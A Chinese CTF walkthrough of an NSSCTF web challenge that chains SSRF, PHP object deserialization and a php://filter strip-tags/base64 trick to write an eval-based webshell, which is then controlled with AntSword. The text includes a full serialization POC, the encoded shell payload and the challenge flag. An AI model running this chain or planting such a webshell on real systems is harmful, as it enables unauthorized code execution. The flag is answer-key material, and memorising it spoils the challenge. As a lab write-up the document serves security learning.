开启靶场转到相应链接:
发现是apache默认页,用dirsearch扫一下:
发现有个特殊的敏感文件robots.txt,访问一下/robots.txt,提示如下:
访问一下/star1.php/,页面变化如下:
右键查看页面源代码:
提示要用不安全的协议才能读取ser.php
这里不安全的协议指的是 http,要利用SSRF才能访问到 ser.php
在Submit搜索框中输入http://127.0.0.1/ser.php:
页面变化并显示出源码:
复制粘贴到新建文件easyser.php中,方便代码审计:
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?> url error
your hat is too black!
可以看到是一个比较基础的php反序列化,只需要将GWHT的hero参数设置为Yongen,Yongen的参数设置好位置和内容,即可写入文件
构造POC(easyser0.php文件):
利用该反序列化首先要考虑两个问题
第一个问题是如何绕过文件写入时的$d = '<?php die("nononon");?>';
解决方法是利用php://filter,在写入文件时使用string.strip.tags过滤器,string.strip.tags过滤器的作用是去掉HTML和PHP标签,同时借助convert.base64-decode过滤器,写入一个base64编码后的shell代码(指shell.php)
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
第二个问题是反序列化好的内容通过哪个参数进行传递,在哪个文件进行触发
解决方法是用github项目Arjun进行爆破:
(注意:这里我没有进行,因为是跟着教程做的,这里用别的教程的图展示一下)
结果爆出传参名字为:path和c
去base64编码网站编码:
<?php
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yongen;
}
}
class Yongen{
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
$this -> text = "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";//<?php eval($_POST[cmd]);?>
}
}
$a = new GWHT();
echo urlencode(serialize($a));
?>
在vscode中跑一下:
构造的payload如下:
(注意:这里的path=http://127.0.0.1/star1.php对应path=http%3A%2F%2F127.0.0.1%2Fstar1.php
://对应%3A%2F%2F /对应%2F
)
在浏览器地址栏中访问,正常情况下,页面会变化一下:
接下来就要进行中国蚁剑shell.php连接:
http://node4.anna.nssctf.cn:28424/shell.php
(连接密码为:cmd)
成功连接!
(注意:这里的flag是虚幻一枪,一般情况下flag文件也是在根目录/中的)
NSSCTF{dcdc7bf4-e34d-47fc-a9b3-5359f72fa892}